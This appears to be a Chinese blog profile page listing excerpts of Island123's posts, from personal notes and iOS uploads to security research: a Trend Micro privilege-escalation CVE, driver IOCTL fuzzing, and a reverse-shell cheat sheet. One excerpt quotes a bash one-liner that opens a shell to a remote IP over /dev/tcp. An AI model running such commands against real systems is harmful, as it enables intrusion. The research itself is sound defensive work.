Island123

我人在上海，躺在汉庭酒店的床上，温度计指向39度，揭露了一个显著的事实，我发烧了。 原因可能有很多，我没有给小哥让座，间接导致取东西时自己的手被划伤了，我的刮胡刀，不光能刮破...

Island123

开始一段新的旅程，博客迁移至Island's Blog欢迎大家访问我的新博客，另外新博客里也做了评论系统，欢迎交流。简书上将不再继续更新 简书确实是很好的一个平台，markd...

Island123

很明了，感谢分享

Multipart/form-data

前言 在iOS开发中很多时候需要会涉及到上传图片等服务器交互的操作 , 这基本上全部都会使用Multipart/form-data的请求方式来完成上传 , 这需要我们去严格按...

与伟大LEE同行

46299 10 33

Island123

http://note.youdao.com/noteshare?id=e55b73edde02c1057fe54f0cb0585070

Island123

关于我正在做的路由器的web认证方式是这样的： 客户端首先向服务器发送一条不带认证的get。 服务器返回 Authorization Required， 并且返回的头信息中含...

Island123

Reverse Shell bash反弹服务端： bash -c 'sh -i &>/dev/tcp/210.28.30.887/53 0>&1'或者 bash -i >& ...

Island123

这是一个比较简单的问题，但是思想走了一点弯路，觉得有必要记录一下.首先需要厘清几个概念： 文件偏移地址（File Offset） 装载地址 （Image Base） 虚拟内存...

Island123

CVE-2018-6232这个漏洞允许本地攻击者通过有漏洞的趋势科技软件提权。为了利用该漏洞，攻击者首先得做到能在目标系统上执行低权限代码。这个缺陷存在于tmnciesc.s...

Island123

我始终相信，所有这些兜兜转转循环往复的事，在多年后都终有意义 计划->执行->反馈 闭环对于任务第一反应首先不应该是立刻上手，计划是很重要的一步，一个优秀的计划可以有效减少闭...

Island123

本文禁止转载经过多日探索，暂时找到了两种比较可靠的提取驱动IOCTL code的途径，以下对具体执行过程进行简介，并针对优缺点进行分析： IDA逆向sys方式操作流程：IDA...

Island123

尝试使用IRPTracker 获取到至少一个IOCTL code，然后使用IOCTLbf去探测可用IOCTL code。但是在win7测试下居然导致蓝屏了，很尴尬。但是现在只...

Island123

http://blog.sina.com.cn/s/blog_75c046920100qgr7.html

Island123

汇编 JO、JNO、JB、JNB、JE、JNE、JBE、JA、JS、JNS、JP、JNP、JL名称 功能 操作数 操作码 模数 寄存器1 寄存器2或内存 位移量...

Island123

首先明确IOCTL code的定义方法如下： 调试程序exe，对CreateFileW和DeviceIoControl下条件断点的方式抓取到至少一个IOCTL code，由于...

Island123

见http://blog.csdn.net/qq_21000273/article/details/52027708

Island123

一个圈住多种趋势公司产品远程控制的环： 大多数趋势公司的产品中都有一个用于管理员网页登陆的组件，尽管其产品的核心项目是使用Java/.NET语言编写的，这个组件却是用PHP实...

Island123

JMP无条件跳转 JE或者JZ结果为0则跳转观察零标志位Z, Z为1，跳转执行，否则不跳转 JNE或者JNZ结果不为0或者不等时跳转零标志位Z为0，跳转；否则不跳转 JS结果...